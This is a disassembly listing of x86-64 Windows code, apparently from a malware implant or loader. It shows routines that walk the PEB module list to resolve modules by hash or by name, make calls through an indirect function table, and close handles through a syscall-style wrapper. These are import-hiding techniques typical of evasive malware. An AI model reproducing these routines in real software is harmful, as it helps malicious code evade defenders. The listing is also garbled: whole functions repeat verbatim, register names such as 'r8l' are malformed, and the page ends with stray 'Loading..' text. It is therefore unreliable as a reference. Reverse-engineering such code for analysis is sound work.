14001784bmov r9l, eax
14001784etest eax, eax
140017850jns 0x14001786c
140017852mov r8l, 273
140017858mov rdx, rsi
14001785blea rcx, [rip+0x12f69]
140017862
140017862loc_140017862:
140017862call printf
140017867jmp 0x140017968
14001786c
14001786cloc_14001786c:
14001786cxor ecx, ecx
14001786emov r8, [rbx+756]
140017875mov r9, rdi
140017878mov [rsp+48], 32
140017880mov [rsp+40], ecx
140017884lea rdx, [rsp+96]
140017889mov [rsp+32], ecx
14001788dmov rcx, [rsp+88]
140017892call [rbx+380]
140017898mov r9l, eax
14001789btest eax, eax
14001789djns 0x1400177f1
1400178a3mov r8l, 279
1400178a9mov rdx, rsi
1400178aclea rcx, [rip+0x12f4a]
1400178b3jmp 0x140017862
1400178b5
1400178b5loc_1400178b5:
1400178b5cmp al, 3
1400178b7jne 0x140017968
1400178bdcmp [rbx+396], 0
1400178c5je 0x140017968
1400178cblea r9, [rip+0x12f4f]
1400178d2mov r8l, 286
1400178d8mov rdx, rsi
1400178dblea rcx, [rip+0x12a8b]
1400178e2call printf
1400178e7mov rcx, [rbx+756]
1400178eexor r8l, r8l
1400178f1mov rdx, rdi
1400178f4call [rbx+396]
1400178famov r9l, eax
1400178fdtest eax, eax
1400178ffjns 0x1400177f1
140017905mov r8l, 290
14001790bmov rdx, rsi
14001790elea rcx, [rip+0x12f32]
140017915jmp 0x140017862
14001791a
14001791aloc_14001791a:
14001791amov ecx, 100
14001791fcall SharedSleep
140017924dec r13l
140017927je 0x140017940
140017929
140017929loc_140017929:
140017929mov rcx, rdi
14001792ccall LdrModulePebByString
140017931mov [rsp+72], rax
140017936test rax, rax
140017939je 0x14001791a
14001793bjmp 0x1400179e4
140017940
140017940loc_140017940:
140017940cmp [rsp+72], 0
140017946jne 0x1400179e4
14001794clea r9, [rip+0x12f21]
140017953mov r8l, 325
140017959mov rdx, rsi
14001795clea rcx, [rip+0x12a0a]
140017963call printf
140017968
140017968loc_140017968:
140017968cmp [rbx+300], 0
140017970je 0x1400179e4
140017972add r12l, r12l
140017975lea r9, [rip+0x12f2a]
14001797cmov r8l, 335
140017982mov rdx, rsi
140017985lea rcx, [rip+0x129e1]
14001798ccall printf
140017991mov [rsp+104], r12w
140017997xor edx, edx
140017999xor ecx, ecx
14001799badd r12l, 2
14001799fmov [rsp+112], rdi
1400179a4lea r9, [rsp+72]
1400179a9lea r8, [rsp+104]
1400179aemov [rsp+106], r12w
1400179b4call [rbx+300]
1400179bamov r12l, eax
1400179bdtest eax, eax
1400179bfjns 0x1400179e4
1400179c1mov r9l, eax
1400179c4mov r8l, 343
1400179camov rdx, rsi
1400179cdlea rcx, [rip+0x12ef2]
1400179d4call printf
1400179d9mov rax, [rbx+2230]
1400179e0mov [rax+104], r12l
1400179e4
1400179e4loc_1400179e4:
1400179e4xor eax, eax
1400179e6mov ecx, 520
1400179ebrep stosb [rdi], al
1400179edmov ecx, 16
1400179f2lea rdi, [rsp+104]
1400179f7rep stosb [rdi], al
1400179f9mov rax, [rsp+72]
1400179felea rcx, [rip+0x12ee8]
140017a05mov r9, rbp
140017a08mov rdx, rsi
140017a0bmov r8l, 354
140017a11mov [rsp+32], rax
140017a16call printf
140017a1bmov rcx, [rsp+80]
140017a20test rcx, rcx
140017a23je 0x140017a31
140017a25call SysNtClose
140017a2axor eax, eax
140017a2cmov [rsp+80], rax
140017a31
140017a31loc_140017a31:
140017a31mov rcx, [rsp+88]
140017a36test rcx, rcx
140017a39je 0x140017a41
140017a3bcall [rbx+412]
140017a41
140017a41loc_140017a41:
140017a41mov rax, [rsp+72]
140017a46
140017a46loc_140017a46:
140017a46add rsp, 648
140017a4dpop rbx
140017a4epop rsi
140017a4fpop rdi
140017a50pop rbp
140017a51pop r12
140017a53pop r13
140017a55ret
1400176c0
140017a56
140017a56 // align 0x10
140017a56 // align 0x10
140017a60
140017a60LdrModulePeb:
140017a60push rdi
140017a61push rsi
140017a62mov esi, ecx
140017a64push rbx
140017a65sub rsp, 32
140017a69mov rax, [rip+0x14900]
140017a70cmp [rax+2230], 0
140017a78jne 0x140017a8a
140017a7amov rdx, [0x30]
140017a83mov [rax+2230], rdx
140017a8a
140017a8aloc_140017a8a:
140017a8amov rax, [rax+2230]
140017a91mov rax, [rax+96]
140017a95mov rax, [rax+24]
140017a99mov rbx, [rax+16]
140017a9dlea rdi, [rax+16]
140017aa1
140017aa1loc_140017aa1:
140017aa1cmp rbx, rdi
140017aa4je 0x140017acc
140017aa6movzx edx, [rbx+88]
140017aaamov rcx, [rbx+96]
140017aaemov r8l, 1
140017ab4call HashEx
140017ab9test esi, esi
140017abbje 0x140017ac1
140017abdcmp eax, esi
140017abfjne 0x140017ac7
140017ac1
140017ac1loc_140017ac1:
140017ac1mov rax, [rbx+48]
140017ac5jmp 0x140017ace
140017ac7
140017ac7loc_140017ac7:
140017ac7mov rbx, [rbx]
140017acajmp 0x140017aa1
140017acc
140017accloc_140017acc:
140017accxor eax, eax
140017ace
140017aceloc_140017ace:
140017aceadd rsp, 32
140017ad2pop rbx
140017ad3pop rsi
140017ad4pop rdi
140017ad5ret
140017a60
140017a60LdrModulePeb:
140017a60push rdi
140017a61push rsi
140017a62mov esi, ecx
140017a64push rbx
140017a65sub rsp, 32
140017a69mov rax, [rip+0x14900]
140017a70cmp [rax+2230], 0
140017a78jne 0x140017a8a
140017a7amov rdx, [0x30]
140017a83mov [rax+2230], rdx
140017a8a
140017a8aloc_140017a8a:
140017a8amov rax, [rax+2230]
140017a91mov rax, [rax+96]
140017a95mov rax, [rax+24]
140017a99mov rbx, [rax+16]
140017a9dlea rdi, [rax+16]
140017aa1
140017aa1loc_140017aa1:
140017aa1cmp rbx, rdi
140017aa4je 0x140017acc
140017aa6movzx edx, [rbx+88]
140017aaamov rcx, [rbx+96]
140017aaemov r8l, 1
140017ab4call HashEx
140017ab9test esi, esi
140017abbje 0x140017ac1
140017abdcmp eax, esi
140017abfjne 0x140017ac7
140017ac1
140017ac1loc_140017ac1:
140017ac1mov rax, [rbx+48]
140017ac5jmp 0x140017ace
140017ac7
140017ac7loc_140017ac7:
140017ac7mov rbx, [rbx]
140017acajmp 0x140017aa1
140017acc
140017accloc_140017acc:
140017accxor eax, eax
140017ace
140017aceloc_140017ace:
140017aceadd rsp, 32
140017ad2pop rbx
140017ad3pop rsi
140017ad4pop rdi
140017ad5ret
140017a60
140017ad6
140017ad6 // align 0x10
140017ad6 // align 0x10
140017ae0
140017ae0LdrModulePebByString:
140017ae0push r14
140017ae2push r13
140017ae4push r12
140017ae6mov r12, rcx
140017ae9push rbp
140017aeapush rdi
140017aebpush rsi
140017aecpush rbx
140017aedsub rsp, 48
140017af1mov rbx, [rip+0x14878]
140017af8cmp [rbx+2230], 0
140017b00jne 0x140017b12
140017b02mov rax, [0x30]
140017b0bmov [rbx+2230], rax
140017b12
140017b12loc_140017b12:
140017b12mov rax, [rbx+2230]
140017b19mov r8l, 260
140017b1fmov edx, 8
140017b24mov r13l, 260
140017b2amov rax, [rax+96]
140017b2emov rcx, [rax+48]
140017b32call [rbx+316]
140017b38mov r8, rax
140017b3bmov rax, [rbx+2230]
140017b42mov rax, [rax+96]
140017b46mov rax, [rax+24]
140017b4amov rbp, [rax+16]
140017b4elea r14, [rax+16]
140017b52
140017b52loc_140017b52:
140017b52cmp rbp, r14
140017b55je 0x140017bc2
140017b57movzx ecx, [rbp+88]
140017b5bcmp cx, 260
140017b60ja 0x140017bbc
140017b62mov rsi, [rbp+96]
140017b66mov rdi, r8
140017b69xor eax, eax
140017b6brep movsb [rdi], [rsi]
140017b6d
140017b6dloc_140017b6d:
140017b6dmovzx edx, [rbp+88]
140017b71cmp eax, edx
140017b73jae 0x140017b8d
140017b75mov dx, [r8+2*rax]
140017b7acmp dx, 96
140017b7ejbe 0x140017b88
140017b80sub edx, 32
140017b83mov [r8+2*rax], dx
140017b88
140017b88loc_140017b88:
140017b88inc rax
140017b8bjmp 0x140017b6d
140017b8d
140017b8dloc_140017b8d:
140017b8dmov rdx, r12
140017b90mov rcx, r8
140017b93mov [rsp+40], r8
140017b98call StringCompareW
140017b9dtest r12, r12
140017ba0je 0x140017bae
140017ba2test eax, eax
140017ba4mov r8, [rsp+40]
140017ba9sete al
140017bacjne 0x140017bb4
140017bae
140017baeloc_140017bae:
140017baemov rax, [rbp+48]
140017bb2jmp 0x140017bf0
140017bb4
140017bb4loc_140017bb4:
140017bb4mov rdi, r8
140017bb7mov rcx, r13
140017bbarep stosb [rdi], al
140017bbc
140017bbcloc_140017bbc:
140017bbcmov rbp, [rbp]
140017bc0jmp 0x140017b52
140017bc2
140017bc2loc_140017bc2:
140017bc2test r8, r8
140017bc5jne 0x140017bcb
140017bc7
140017bc7loc_140017bc7:
140017bc7xor eax, eax
140017bc9jmp 0x140017bf0
140017bcb
140017bcbloc_140017bcb:
140017bcbmov rdi, r8
140017bcemov ecx, 260
140017bd3xor eax, eax
140017bd5rep stosb [rdi], al
140017bd7mov rax, [rbx+2230]
140017bdexor edx, edx
140017be0mov rax, [rax+96]
140017be4mov rcx, [rax+48]
140017be8call [rbx+332]
140017beejmp 0x140017bc7
140017bf0
140017bf0loc_140017bf0:
140017bf0add rsp, 48
140017bf4pop rbx
140017bf5pop rsi
140017bf6pop rdi
140017bf7pop rbp
140017bf8pop r12
140017bfapop r13
140017bfcpop r14
140017bferet
140017ae0
140017ae0LdrModulePebByString:
140017ae0push r14
140017ae2push r13
140017ae4push r12
140017ae6mov r12, rcx
140017ae9push rbp
140017aeapush rdi
140017aebpush rsi
140017aecpush rbx
140017aedsub rsp, 48
140017af1mov rbx, [rip+0x14878]
140017af8cmp [rbx+2230], 0
140017b00jne 0x140017b12
140017b02mov rax, [0x30]
140017b0bmov [rbx+2230], rax
140017b12
140017b12loc_140017b12:
140017b12mov rax, [rbx+2230]
140017b19mov r8l, 260
140017b1fmov edx, 8
140017b24mov r13l, 260
140017b2amov rax, [rax+96]
140017b2emov rcx, [rax+48]
140017b32call [rbx+316]
140017b38mov r8, rax
140017b3bmov rax, [rbx+2230]
140017b42mov rax, [rax+96]
140017b46mov rax, [rax+24]
140017b4amov rbp, [rax+16]
140017b4elea r14, [rax+16]
140017b52
140017b52loc_140017b52:
140017b52cmp rbp, r14
140017b55je 0x140017bc2
140017b57movzx ecx, [rbp+88]
140017b5bcmp cx, 260
140017b60ja 0x140017bbc
140017b62mov rsi, [rbp+96]
140017b66mov rdi, r8
140017b69xor eax, eax
140017b6brep movsb [rdi], [rsi]
140017b6d
140017b6dloc_140017b6d:
140017b6dmovzx edx, [rbp+88]
140017b71cmp eax, edx
140017b73jae 0x140017b8d
140017b75mov dx, [r8+2*rax]
140017b7acmp dx, 96
140017b7ejbe 0x140017b88
140017b80sub edx, 32
140017b83mov [r8+2*rax], dx
140017b88
140017b88loc_140017b88:
140017b88inc rax
140017b8bjmp 0x140017b6d
140017b8d
140017b8dloc_140017b8d:
140017b8dmov rdx, r12
140017b90mov rcx, r8
140017b93mov [rsp+40], r8
140017b98call StringCompareW
140017b9dtest r12, r12
140017ba0je 0x140017bae
140017ba2test eax, eax
140017ba4mov r8, [rsp+40]
140017ba9sete al
140017bacjne 0x140017bb4
140017bae
140017baeloc_140017bae:
140017baemov rax, [rbp+48]
140017bb2jmp 0x140017bf0
140017bb4
140017bb4loc_140017bb4:
140017bb4mov rdi, r8
140017bb7mov rcx, r13
140017bbarep stosb [rdi], al
140017bbc
140017bbcloc_140017bbc:
140017bbcmov rbp, [rbp]
140017bc0jmp 0x140017b52
140017bc2
140017bc2loc_140017bc2:
140017bc2test r8, r8
140017bc5jne 0x140017bcb
140017bc7
140017bc7loc_140017bc7:
140017bc7xor eax, eax
140017bc9jmp 0x140017bf0
140017bcb
140017bcbloc_140017bcb:
140017bcbmov rdi, r8
140017bcemov ecx, 260
140017bd3xor eax, eax
140017bd5rep stosb [rdi], al
140017bd7mov rax, [rbx+2230]
140017bdexor edx, edx
140017be0mov rax, [rax+96]
140017be4mov rcx, [rax+48]
140017be8call [rbx+332]
140017beejmp 0x140017bc7
140017bf0
140017bf0loc_140017bf0:
140017bf0add rsp, 48
140017bf4pop rbx
140017bf5pop rsi
140017bf6pop rdi
140017bf7pop rbp
140017bf8pop r12
140017bfapop r13
140017bfcpop r14
140017bferet
140017ae0
Loading..